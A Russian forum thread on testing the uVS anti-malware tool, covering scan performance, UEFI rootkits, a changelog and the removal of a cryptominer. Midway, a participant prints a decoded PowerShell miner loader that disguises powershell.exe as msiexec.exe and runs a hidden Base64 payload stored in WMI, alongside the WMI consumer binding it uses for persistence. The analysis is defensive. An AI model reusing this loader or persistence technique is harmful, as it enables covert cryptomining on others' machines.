uVS - Тестирование - Страница 26 - Universal Virus Sniffer (uVS) - развитие, использование и решение проблем - Форумы Anti-Malware.ru Перейти к содержанию

Recommended Posts

Dragokas
1 час назад, demkd сказал:

это не поможет, все упирается в убитый диск или сильно фрагментированный диск и на наличие активного антивируса, последний как раз может удвоить, а то и утроить время создания диска, процесс то очень простой: считывание файла, подсчет контрольной суммы, потом проверка эцп тут хоть рилтайм ставь станет разве что хуже, процессор тут не самое узкое место.

По CPU понятно. А если поднять I/O priority: https://stackoverflow.com/a/3057675/10205274

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Dragokas
1 час назад, PR55.RP55 сказал:

По поводу доступа к данным и скорости я уже писал:

https://www.jam-software.com/ultrasearch/

Сбор данных занимает секунды.

У меня чекер ярлыков работает на таком движке. Если нужно, поделюсь исходником, но я так понял не нужен.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
3 часа назад, Dragokas сказал:

А если поднять I/O priority

поднять то можно, вот только это вряд ли поможет, разве что в системе кто-то очень серьезно напрягает винт причем и на запись и на чтение одновременно, я таки думаю что 50% это проблема с антивирусом, 40% недостаток физической памяти и постоянный своп из-за 100500 открытых вкладок в хроме, которые никто не хочет закрывать и 10% на битые винты, а может и больше, настолько это стало распространено, мне даже пришлось утилиту писать для лечения ntfs разделов, увы но никакие стандартные или нестандартные утилиты даже беды в половине случаев прописать не могут, тот же chkdsk игнорирует любые ошибки кроме собствено bad crc и беды не ставит, в результате начинаются дикие тормоза вплоть до неработоспособности ситсемы, не говоря уже про кластера висящие под полсекунды на чтении... и так вот со всем софтом что пальцем не ткни элементарно не работает.
 

3 часа назад, Dragokas сказал:

У меня чекер ярлыков работает на таком движке. Если нужно, поделюсь исходником, но я так понял не нужен.

У меня свой движок, ярлыки разбираются без применения api на низком уровне, заметно быстрее сделать вряд ли возможно.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

А если использовать ресурсы видеокарты ?

Так можно будет игнорировать:

100500 открытых вкладок в хроме;  нехватку оперативной памяти >  за счёт работы с памятью самой видеокарты.

+ временно  ограничить доступ к ресурсам видеокарты.

CUDA +

Порой объём памяти современной видеокарты больше чем " родной " оперативной.

 

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
2 минуты назад, PR55.RP55 сказал:

+ временно  ограничить доступ к ресурсам видеокарты.

память видеокарты никак не поможет просто потому что нет физической, тем более что uVS кушает меньше 100mb даже в 64-х битных системах, а хлам обычно на 32-х битных где считай почти вдвое меньше требуется памяти.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

" ультра бюджетный одноядерный AMD Sempron 145, правда с щедрыми 4gb памяти, но uVS не настолько прожорлив
и даже его uVS не смог постоянно грузить на 100% "

Это когда система чиста. Без майнеров\вирусов\антивирусов?

А если эту нагрузку отдать на GPU  ?

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
50 минут назад, PR55.RP55 сказал:

Это когда система чиста. Без майнеров\вирусов\антивирусов?

да, но и семпаронов уже давно таких нет, только двухядерные.
 

50 минут назад, PR55.RP55 сказал:

А если эту нагрузку отдать на GPU  ? 

GPU это графический процессор, он пригоден разве что для подсчета хешей, отдельный шейдерный процессор значительно слабее CPU поэтому использовать GPU можно лишь для специфических вычислительных задач не требующих подгрузки данных с диска, иначе оно тотально проигрывает в производительности даже ультра бюджетным CPU, лучше таки почитать про возможности GPU и не предлагать чушь.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
Dragokas

А если эту нагрузку отдать на GPU  ?

Так-то Дмитрию придётся переписывать половину программы и заодно несколько библиотек Майкрософт :D

Ну или поставлять свою программу в комплекте с упакованным процессором. =))

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy

demkd,

посмотри, пожалуйста,

исходное сообщение:

Цитата

Словил майнер на Сервере и не могу избавится: Оперативная память = msiexec.exe(16684);модифицированный Win32/CoinMiner.DV

какой-то хитрый запуск майнера через WMI, но в списке объектов все файлы легальные, имхо, через powershell выполняется закодированный возможно Base64 скрипт. (и  возможно, новый класс используется для запуска майнера: CommandLineEventConsumer, FsxxleConsumer)

 

https://forum.esetnod32.ru/forum6/topic14912/

образ автозапуска во вложении.

-----------------

попробовал декодировать из Base64, получается:

if ((get-process -name msiexec -ErrorAction SilentlyContinue).Path -eq (dir env:SystemRoot).Value+'\Panther\msiexec.exe'){exit}else{Stop-Process -name msiexec -Force -ErrorAction SilentlyContinue;Stop-Process -name xmrig -Force -ErrorAction SilentlyContinue;cd $env:windir\Panther;copy $env:windir\system32\WindowsPowerShell\v1.0\powershell.exe msiexec.exe -ea SilentlyContinue;copy $env:windir\SysWOW64\WindowsPowerShell\v1.0\powershell.exe msiexec.exe -ea SilentlyContinue;start-process .\msiexec.exe {$WmiName='root\cimv2:Win32_SysCommand';$Wmi=New-Object Management.ManagementClass($WmiName);$F=([WmiClass]$WmiName).Properties['F'].Value;IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($F)))} -WindowStyle hidden};exit

 

TS-SERV_2018-08-23_12-05-46.7z

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
31 минут назад, santy сказал:

посмотри, пожалуйста,

C:\WINDOWS\PANTHER\MSIEXEC.EXE
на самом деле это PowerShell
CmdLine: "C:\Windows\Panther\msiexec.exe" $WmiName='root\cimv2:Win32_SysCommand';$Wmi=New-Object Management.ManagementClass($WmiName);$F=([WmiClass]$WmiName).Properties['F'].Value;IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($F)))
да что-то делает в wmi, но есть проблема кто запустил его не ясно, радует лишь то что запушен был только он бывает случаи когда пускается по три четыре процесса с разным назначением, нужен таки логгер pid-ов запускаемых процессов
остальное толлько вечером смогу просмотреть, сейчас надо уезжать.
Можно попробовать определить кто таки его запускал используя
https://www.nirsoft.net/utils/executed_programs_list.html

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
3 минуты назад, demkd сказал:

C:\WINDOWS\PANTHER\MSIEXEC.EXE
на самом деле это PowerShell

да, этот msiexec (powershell который) запускается походу из раскодированного скрипта:

........

start-process .\msiexec.exe {$WmiName='root\cimv2:Win32_SysCommand';$Wmi=New-Object Management.ManagementClass($WmiName);$F=([WmiClass]$WmiName).Properties['F'].Value;IEX ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($F)))

......

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd

А нет оно есть в WMI разделе, ничего нового в целом, разве что текст скрипта в base64.
Есть упущение в обработке CommandLineEventConsumer
игнорируется поле WorkingDirectory, но в данном случае это не важно.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
13 минут назад, PR55.RP55 сказал:

Статья:

это не то, здесь используется powershell и лечить элементарно убить эвент, убить процесс собственно все.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

Demkd

Появился первый практический UEFI rootkit

https://www.welivesecurity.com/2018/09/27/lojax-first-uefi-rootkit-found-wild-courtesy-sednit-group/

В качестве решения предлагается замена прошивки.

Однако:

1) Нужно выявить, что заражён именно UEFI - значит  как-то нужно это проверить.

Есть программа: Universal BIOS Backup ToolKit 

Которая может ( ? ) создать резервную копию BIOS

Соответственно получив файл мы можем его проверить на V.T. или передать на анализ в вир.лаб.

Или изучить самостоятельно.

2) Нужна профилактика: uVS может создавать резервную копию реестра; системных файлов\STORE

Можно получить оригинальную копию BIOS  и в  последующим при необходимости сравнить\восстановить.

3) Создавать базу SHA1 проверенных прошивок.

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

+

И кстати почему бы не добавить возможность получать\добавлять в базу проверенных SHA1 файлы:

hosts

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
В 30.09.2018 at 4:03 AM, PR55.RP55 сказал:

Появился первый практический UEFI rootkit

в данный момент работа с прошивками не планируется, слишком большой объем работ с практически нулевым выхлопом, использование же внешним программ для считывания информации это сельский стиль, который всегда заканчивается эпикфейлом.

 

В 30.09.2018 at 4:10 AM, PR55.RP55 сказал:

hosts

потому что с hosts uVS работает как с базой, возможно когда-нибудь появится возможность делать отдельные записи проверенным.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd

Небольшое обновление для закрытия проблемы c wmi/задачами на базе известных файлов.

---------------------------------------------------------
 4.0.21
---------------------------------------------------------
 o Добавлена поддержка параметра WorkingDirectory для класса CommandLineEventConsumer.

 o Добавлена возможность удалять события WMI и задачи без удаления всех ссылок на файл/объект.
   Скриптовые команды: delwmi и deltsk

 o Исправлена ошибка чтения кэша задач, в некоторых случаях кэш мог не проверяться.

 o Процесс со средней загрузкой >50% на 1 ядро автоматически получает статус "подозрительный".

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
PR55.RP55

1) По UEFI  можно провести некие подготовительные работы ?

т.е. выполнить часть из того, о чём я писал.

Чтобы в случае реальных проблем можно было бы в сжатые сроки отреагировать.

2) hosts и возможность делать отдельные записи проверенным...

Я бы всё таки реализовал возможность добавлять SHA1 файла в базу проверенных.

И пусть uVS и дальше работает с файлом, как с базой.

При этом, если файл hosts  есть в базе проверенных при [v] "Скрыть: проверенные " записи\строчки относящиеся к данному файлу будут  скрываться _все разом.

3) WMI и прочее "лишнее"  Возможно стоит добавить возможность отключать работу WMI

Как говориться нет WMI нет проблемы ?

4) o Процесс со средней загрузкой >50% на 1 ядро автоматически получает статус "подозрительный".

Э...

Так там все браузеры будут в списке подозрительных с их 1000500 страницами, расширениями и т.д.

что, если автоматически проверять не все ЭЦП а  только ЭЦП файлов которые uVS внёс в список подозрительных ?

Однако для нормальной работы будет нужен базовый\ограниченный\встроенный wdsl - чтобы всё было культурно, включающий только ЭЦП  легальных браузеров.= > Минимум времени на проверку и сокращение списка подозрительны.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
13 часов назад, PR55.RP55 сказал:

1) По UEFI  можно провести некие подготовительные работы ?

у меня нет лишнего времени, вероятность раскопать что-то гарантировано позволяющее считывать реальную прошивку, а не чистый образ скармливаемый руткитом, практически равна нулю, а скорее даже именно равна нулю, единственный способ это грузиться без всякого uefi с R/O носителя, вот только это бесполезно на практике, а если есть косвенные признаки модификации прошивки вот тогда и можно грузиться с диска, перешивать bios, презаписывать загрузчики убивая буткиты и трясти систему на предмет хвостов.
 

13 часов назад, PR55.RP55 сказал:

При этом, если файл hosts  есть в базе проверенных при [v] "Скрыть: проверенные " записи\строчки относящиеся к данному файлу будут  скрываться _все разом.

не нужно усложнять это глупо.

13 часов назад, PR55.RP55 сказал:

Как говориться нет WMI нет проблемы ?

Тогда уже лучше сформатировать винт, нет системы нет проблемы.

13 часов назад, PR55.RP55 сказал:

Так там все браузеры будут в списке подозрительных с их 1000500 страницами, расширениями и т.д.

и что много уже попало? xD

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
В 28.09.2018 at 10:17 PM, demkd сказал:

А нет оно есть в WMI разделе, ничего нового в целом, разве что текст скрипта в base64.
Есть упущение в обработке CommandLineEventConsumer
игнорируется поле WorkingDirectory, но в данном случае это не важно.

почему-то объект с Consumer_Name=FsxxleConsumer не попал в список объектов автозапуска, как в предыдущем случае это было с fuckyoumm2_consumer, (не успел отправить сообщение 28.09 )

теперь вижу, что результат есть в 4.0.21
 

Цитата

  Скриптовые команды: delwmi и deltsk

demkd,

эти команды будут автоматически добавляться в скрипт из контекстного меню? не нашел как это сделать. обычно просто есть опция  - удалить файл, и команда формируется как del   filename

+

пример первого детекта активности майнера по GPU

C:\MO\CLAYMORE\ETHDCRMINER64.EXE

АКТИВНЫЙ ?ВИРУС? ВИРУС ПОДОЗРИТЕЛЬНЫЙ [СЕТЕВАЯ_АКТИВНОСТЬ] GPU

Win64/CoinMiner.BX (delall) [глубина совпадения 64(64), необх. минимум 8, максимум 64] 2018-10-03

GPU 2: 99,31%

https://virusinfo.info/showthread.php?t=220384

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
3 часа назад, santy сказал:

теперь вижу, что результат есть в 4.0.21

он и в том образе был, просто галку скрывать проверенные надо было скинуть, другое дело что удаление его привело бы к убиению lnk файлов, а это не очень хорошо.

C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE
instance of __FilterToConsumerBinding
{
    Consumer = "CommandLineEventConsumer.Name=\"FsxxleConsumer\"";
    Filter = "__EventFilter.Name=\"FsxxleFilter\"";
};

3 часа назад, santy сказал:

эти команды будут автоматически добавляться в скрипт из контекстного меню?

да, эти пункты контекстного меню доступны в категориях задач и WMI, но пожалуй да, нужно сделать доступными везде, а то неудобно использовать.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy
6 минут назад, demkd сказал:

он и в том образе был, просто галку скрывать проверенные надо было скинуть, другое дело что удаление его привело бы к убиению lnk файлов, а это не очень хорошо.

C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE
instance of __FilterToConsumerBinding
{
    Consumer = "CommandLineEventConsumer.Name=\"FsxxleConsumer\"";
    Filter = "__EventFilter.Name=\"FsxxleFilter\"";
};

Я имел  ввиду, что объект был в списке в качестве отдельного элемента

полное имя: WMI_ACTIVESCRIPTEVENTCONSUMER\FUCKYOUMM2_CONSUMER.[FUCKYOUMM2_FILTER]

Consumer_Name:fuckyoumm2_consumer

а с Consumer_Name: FsxxleConsumer такое не получилось.

только в контексте объекта с полным именем

C:\WINDOWS\SYSTEM32\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE

 

 

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
santy

т.е. так оно понятнее:

delwmi WMI_ACTIVESCRIPTEVENTCONSUMER\FUCKYOUMM2_CONSUMER.[FUCKYOUMM2_FILTER]

чем

delwmi %Sys32%\WINDOWSPOWERSHELL\V1.0\POWERSHELL.EXE

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты
demkd
50 минут назад, santy сказал:

Я имел  ввиду, что объект был в списке в качестве отдельного элемента

если есть возможность идентифицировать файл то он проявляется именно как файл, а если это обезличенный скрипт вот тогда у него будет специфическое имя, так удобней удалять если скажем это .vbs который может засветиться не только в wmi, а в случае известных файлов теперь есть delwmi который удаляет лишь то что нужно, причем если будет несколько wmi событий на базе того же powershell все они будут удалены.

Поделиться сообщением


Ссылка на сообщение
Поделиться на другие сайты

Пожалуйста, войдите, чтобы комментировать

Вы сможете оставить комментарий после входа в



Войти

  • Сообщения

    • PR55.RP55
      * адрес страницы (ReferrerUrl) и адрес самого файла (HostUrl) в метке появились в Windows 10 версии 1703, их записывают браузеры, например Edge и Chrome. В статье показано, как посмотреть эти данные в Windows 11 https://www.comss.ru/page.php?id=22105
    • Ego Dekker
      ESET Cyber Security 10.0.2100  (macOS 13/14/15/26/27)
                                                                                  ●
              Руководство пользователя ESET Cyber Security 10  (PDF-файл)
                                                           
      Полезные ссылки:
      Технологии ESET
      Удаление антивирусов других компаний
      Как удалить ESET Cyber Security?
    • Ego Dekker
      Домашние антивирусы для Windows были обновлены до версии 19.2.10.
    • PR55.RP55
      1) Ситуация когда нет доступа к virustotal.com ( и другим ресурсам ) Что предлагаю: а) На примере Firefox 155 - Happy Eyeballs v3: подключение сразу несколькими путями *Браузер больше не выбирает маршрут до сайта заранее, а пробует несколько вариантов подключения параллельно и работает через тот, который отозвался первым. Выигрыш заметнее всего в сетях, где IPv4 или IPv6 работает медленно либо нестабильно: раньше браузер мог упереться в неотвечающий адрес и ждать таймаута, теперь соединение уходит по резервному пути без паузы. б) Если сайт полностью не доступен - то, при потоковой проверке файлов не заставлять пользователя "бесконечно" ждать... 2) Драйвер фаервола - при проверке. По хорошему программа сама должна знать какие файлы её, какие нет и всякий раз не лезть к ним и не пытаться получить доступ к собственному файлу ?  
    • AM_Bot
      «Инфосистемы Джет» активно развивает концепцию антихрупкости. Эта компания разработала инструменты для её практического применения — первый Фреймворк антихрупкой ИТ-архитектуры и Индекс антихрупкости для построения киберустойчивого бизнеса.      1. Введение2. Что такое антихрупкость ИТ-архитектуры3. Назначение инструментов, разработанных компанией «Инфосистемы Джет»3.1. Фреймворк антихрупкой ИТ-архитектуры3.2. Индекс антихрупкости4. Как проходит оценка4.1. Заполнение профиля компании4.2. Построение бенчмарка4.3. Прохождение опроса4.4. Оценка результатов5. ВыводыВведениеРезонансные атаки на крупнейшие российские компании, которые мы регулярно освещаем, вскрыли системную проблему: реальная операционная готовность к инцидентам остаётся на низком уровне, даже если система защиты формально выстроена. Как показало недавнее исследование компании «Инфосистемы Джет», пережить кибератаку не готовы 64 % из 50 российских компаний. Хуже всего ситуация обстоит в госсекторе и ритейле — при этом именно эти отрасли входят в число наиболее атакуемых.Защита, которая создавалась, чтобы остановить злоумышленника, теперь может лишь его замедлить — и одной способности «не пустить» стало недостаточно. Закупленные СЗИ создают иллюзию надёжности: организация выглядит защищённой, но в момент реальной атаки оказывается уязвимой.В условиях массовых взломов и эволюции атакующих стратегий на первое место выходит принцип управляемого ухудшения ситуации. Взлом с большой вероятностью произойдёт, но мы должны уметь работать под атакой, управлять кризисом и быстро восстановиться. Также необходимо выстроить зрелые процессы реагирования на угрозы, восстановления после инцидентов и обеспечения непрерывности бизнеса даже в условиях атаки. В ответ на этот вызов ИТ-компания «Инфосистемы Джет», работающая на российском рынке с 1991 года, предложила использовать концепцию антихрупкой ИТ-архитектуры.Её суть заключается в том, что ИТ-инфраструктура должна не просто выдерживать сбои, атаки и неблагоприятные обстоятельства, а по-настоящему быть к ним готовой, эффективно их преодолевать и даже извлекать из них пользу, становясь надёжнее и укрепляя свои позиции среди конкурентов.Что такое антихрупкость ИТ-архитектурыКонцепция антихрупкости впервые была предложена учёным Нассимом Талебом, статистиком, бывшим трейдером и риск-менеджером, который прославился изучением влияния случайных и непредсказуемых событий на мировую экономику и биржевую торговлю. В книге «Чёрный лебедь. Под знаком непредсказуемости» (The Black Swan), вышедшей в 2007 году, он ввёл сам термин «чёрный лебедь» для описания редких и маловероятных событий, имеющих огромные последствия, и пришёл к выводу, что вместо попыток их предсказания логичнее создавать системы, способные не просто пережить хаос, но и становиться после него сильнее. Именно это понимание легло в основу идеи антихрупкости, которая уже была детально раскрыта Талебом в книге 2012 года «Антихрупкость. Как извлечь выгоду из хаоса» (Antifragile: Things That Gain From Disorder).Вдохновившись концепцией антихрупкости, аналитики компании «Инфосистемы Джет» решили развивать эти идеи и продвигать их в России. Антихрупкая ИТ-архитектура — не гонка за новыми инструментами. Она строится вокруг способности пережить полный жизненный цикл атаки: подготовиться к ней, замедлить злоумышленника, обнаружить вторжение, сократить ущерб, восстановить бизнес и перестроиться после инцидента. Для практической реализации концепции антихрупкости «Инфосистемы Джет» разработали первый Фреймворк антихрупкой архитектуры и Индекс антихрупкости, позволяющие выявить слабые места и сформировать дорожную карту усиления защиты.Назначение инструментов, разработанных компанией «Инфосистемы Джет»Как же перейти от понимания концепции антихрупкости к её реализации? В этом помогут разработанные вендором инструменты, которые мы рассмотрим ниже.Фреймворк антихрупкой ИТ-архитектурыФреймворк антихрупкой ИТ-архитектуры представляет собой открытый и практичный инструмент, который объединил опыт инженеров, аудиторов, консультантов и экспертов-практиков по защите сети и построению ИТ-инфраструктуры. Он разработан командой «Инфосистемы Джет» во главе с руководителем отдела развития консалтинга по ИБ Александром Морковчиным.Сценарии использования фреймворка охватывают три ключевые рыночные потребности. Первая — оценка текущего уровня киберустойчивости с помощью единой измеримой «линейки» для сопоставления с конкурентами и отраслевыми лидерами. Вторая — планирование развития на основе каталога проверенных практик и выбор вектора роста. Третья — трансформация: пошаговый переход от фактического состояния к целевому уровню киберустойчивости. Фреймворк имеет иерархическую логику: он строится по каскадной модели «в крупную клетку», т. е. на высоком уровне абстракции, без погружения в мелкие детали. Всего существует пять уровней детализации, где каждый следующий уровень конкретизирует предыдущий. Это позволяет последовательно двигаться от общего видения (стратегии) по уровням детализации к конкретным действиям (практике), сохраняя гибкость и системность.Фреймворк доступен на официальном сайте и не требует установки дополнительных расширений. Рисунок 1. Каскадная модель фреймворка антихрупкой ИТ-архитектуры Разберём каскад по уровням:Уровень 0. ДистанцииДистанции описывают фазы жизненного цикла относительно кибервторжения.Уровень 1. Цели («Чего хотим достичь»)Здесь выделяется семь стратегий. Это верхнеуровневые направления для достижения антихрупкости: например, «подготовка и прогнозирование», «адаптация и перестройка». Их цель — сформировать киберустойчивый каркас, дополнив классическую ИБ тем, чего часто не хватает в реальной атаке: связью с ИТ-архитектурой, непрерывностью, восстановлением, кризисным управлением и постоянным улучшением. Таблица 1. Семь стратегий антихрупкостиСтратегияВопрос, на который она отвечаетСистемное развитие и контрольРазвивается ли ИБ оправданно с точки зрения бизнеса?Подготовка и прогнозированиеПонимаем ли мы, как нас будут атаковать и какое звено сломается первым?Вовлечение и нападениеЗнаем ли мы, кто и как готовится нас атаковать — и можем ли перехватить инициативу?Защита, замедление, сдерживаниеЧто не даст атакующему быстро развить успех после проникновения?Обнаружение и реагированиеПоймём ли мы, что враг уже внутри, до того как он ударит?ВосстановлениеЕсть ли у бизнеса «План Б» на случай потери инфраструктуры?Адаптация и перестройкаСтанет ли компания сильнее после инцидента? Уровень 2. Правила реализации («Как себя ведём»)Здесь выделяется 10 принципов. Принципы связывают стратегии с действиями: это установки, задающие поведение. Например, принцип «нулевого доверия» или «безопасности по умолчанию». Уровень 3. Области применения («Где развиваем способности») Здесь выделяются 33 домена — тематические области, группирующие практики по функциональной принадлежности. Каждый домен описывает определённую способность организации. Уровень 4. Конкретные действия («Что делаем»)Здесь выделяется 390+ практик. Практики — конкретные меры и действия, которые организация должна реализовать для достижения целей киберустойчивости. Рисунок 2. Распределение стратегий антихрупкости по четырём дистанциям Вышеописанная схема является интерактивной: кликнув на домен, можно ознакомиться с относящимися к нему практиками. Рисунок 3. Информация о входящих в домен «Обнаружение и реагирование» практиках Также можно использовать строку поиска для выделения интересующих вас практик. Рисунок 4. Результат поискового запроса Фреймворк можно выгрузить в виде файла формата XLS, в котором также представлен инструмент самооценки. Рисунок 5. Фрагмент фреймворка в формате XLS Индекс антихрупкостиИндекс антихрупкости — показатель, позволяющий оценить в процентном соотношении, насколько компания готова к «чёрным лебедям», т. е. труднопредсказуемым событиям. Индекс построен на базе фреймворка и отвечает на вопрос: способна ли компания пережить кибератаку, продолжать работу в её условиях и восстановиться после неё. Итог оценки — индекс антихрупкости от 0 до 100 %, разбор по направлениям защиты и сравнение с другими участниками индустрии. Отраслевой уровень обновляется автоматически по мере накопления ответов респондентов.Индекс не заменяет регуляторные оценки, а дополняет их в областях, которые проверяют реальную киберустойчивость: восстановление и непрерывность бизнеса, кризис-менеджмент, threat hunting, безопасная разработка, безопасность ИИ, отказоустойчивость, культура киберучений и другие. Разберём, как пользоваться инструментом оценки.Как проходит оценкаС сервисом можно ознакомиться на официальном сайте. Вы отвечаете на сто коротких вопросов о том, какие практики киберустойчивости есть в компании. Оценка полностью анонимна: контактные данные и название компании не запрашиваются. У каждой оценки есть только уникальный идентификатор — он понадобится, если вы захотите задать вопрос по полученным результатам. Рисунок 6. Расчёт Индекса антихрупкости (приветственное окно) Заполнение профиля компанииДля получения оценок, релевантных профилю вашей организации, необходимо указать параметры из выпадающего списка: Сфера деятельности компании.Общее количество сотрудников.Число ИБ-сотрудников.Число ИТ-сотрудников.Оценку формирует руководитель ИБ или тот, кто отвечает за информационную безопасность в компании. Часть вопросов затрагивает смежные зоны — резервное копирование, непрерывность бизнеса, безопасную разработку, взаимодействие с юристами и PR. Если по ним нет уверенности, лучше уточнить у коллег: точность ответов напрямую определяет пользу результата. Рисунок 7. Пример заполненного профиля организации Заполнив все поля, можно переходить к следующему шагу. Для этого нажмите кнопку «Посмотреть показатели по отрасли».Построение бенчмаркаВ следующем разделе нам становится доступен бенчмарк, отражающий индекс антихрупкости и оценку в разрезе стратегий антихрупкой ИТ-архитектуры в среднем по отрасли. В качестве примера мы выбрали сферу деятельности «финансовый сектор». Рисунок 8. Экспресс-оценка показателей киберустойчивости по отрасли Ниже приводится оценка по стратегиям в табличном виде. Рисунок 9. Индекс антихрупкости в разрезе стратегий и практик по отрасли Прохождение опросаДля расчёта своего индекса антихрупкости пользователю предлагается пройти опрос по 100 практикам, каждая из которых имеет пять вариантов ответа:«Да» (выполняется системно).«Частично» (с ограниченным охватом).«Нет» (не выполняется или выполняется ad hoc, т. е. разово или под конкретную задачу).«Неприменимо» (не используется в организациях данного типа). Этот ответ следует выбрать, если, например, в организации нет такого процесса или системы. При выборе этого варианта метрика исключается из расчёта.«Не знаю» (затрудняюсь оценить). Метрика исключается из расчёта. Рисунок 10. Опрос в рамках стратегий и практик Результат отображается сразу после ответа на последний вопрос. Для расчёта индекса необходимо выбрать «Показать результаты». В том случае, если не все практики были оценены, появится окно с предупреждением и расчёт будет проведён с ограничениями. Рисунок 11. Предупреждение пользователя Оценка результатовНа вкладке «Результаты» отображается текущий уровень киберустойчивости организации, а также сопоставление этого уровня с показателями по отрасли в виде шкалы и радарной диаграммы («диаграммы-паука»). Рисунок 12. Экспресс-оценка киберустойчивости в виде шкал Рисунок 13. Экспресс-оценка киберустойчивости в разрезе стратегий При сравнении учитываются только критерии, по которым даны ответы. Ознакомиться с ними можно ниже в табличном виде. Рисунок 14. Оценка антихрупкости в разрезе доменов — групп практик Информацию по экспресс-оценке киберустойчивости организации можно скачать в виде готового отчёта. Он доступен в формате PDF и представляет собой готовый буклет для ознакомления в электронном виде или печати на бумаге. Рисунок 15. Выгрузка готового отчёта Рисунок 16. Фрагмент отчёта экспресс-оценки киберустойчивости организации ВыводыАнтихрупкость сегодня — ключевая стратегия выживания и роста компаний в условиях постоянных рисков: кибератак, ухода вендоров, сбоев инфраструктуры, регуляторных изменений и т. п. Она не заменяет классическую ИБ — она дополняет её способностью пережить успешную атаку.В современном ИТ‑ландшафте недостаточно просто держаться на плаву, нужно заранее готовиться к тому, чего нельзя предсказать. Именно поэтому антихрупкость становится центральным элементом зрелой ИТ‑стратегии и обязательным ориентиром при проектировании архитектуры, управлении инцидентами и планировании цифровой трансформации.Компания «Инфосистемы Джет» переводит концепцию антихрупкости на язык конкретных инженерных и управленческих решений. Она даёт бизнесу рабочие инструменты — собственный Фреймворк антихрупкой ИТ‑архитектуры, помогающий выстроить понятный путь от стратегии к конкретным действиям, и Индекс антихрупкости, который помогает увидеть, насколько компания реально готова к сбоям, атакам и внезапным переменам.Компания планирует и далее развивать Фреймворк: адаптировать его к специфике различных отраслей, разработать вариативные сценарии применения в зависимости от контекста.Достоинства:Открытая методология, доступная любому пользователю без оплаты и регистрации.Каскадная, понятная архитектура с чёткой логикой: семь стратегий достижения антихрупкости, 10 принципов, 33 домена и 390+ практик.Наличие веб-сервиса для оценки антихрупкости ИТ-архитектуры, в котором прохождение полного опроса по 100 критериям оценки занимает в среднем 20 минут.Возможность ознакомиться с показателями антихрупкости в среднем по отрасли.Представление результатов оценки в графическом и табличном формате.Формирование готового отчёта по итогам экспресс-оценки киберустойчивости с возможностью его выгрузки на компьютер.Недостатки:Ценность фреймворка сложно понять, если предварительно не ознакомиться с теорией антихрупкой ИТ-архитектуры.Для точной оценки индекса антихрупкости рекомендуется располагать полной информацией о деятельности компании и не пропускать ни одного критерия оценки. По уровню детализации Фреймворк антихрупкой ИТ-архитектуры относится к стратегическому и методическому уровню. Детальные технические регламенты, архитектурные стандарты, требования к настройке конкретных систем должны разрабатываться на следующем уровне детализации.Читать далее
×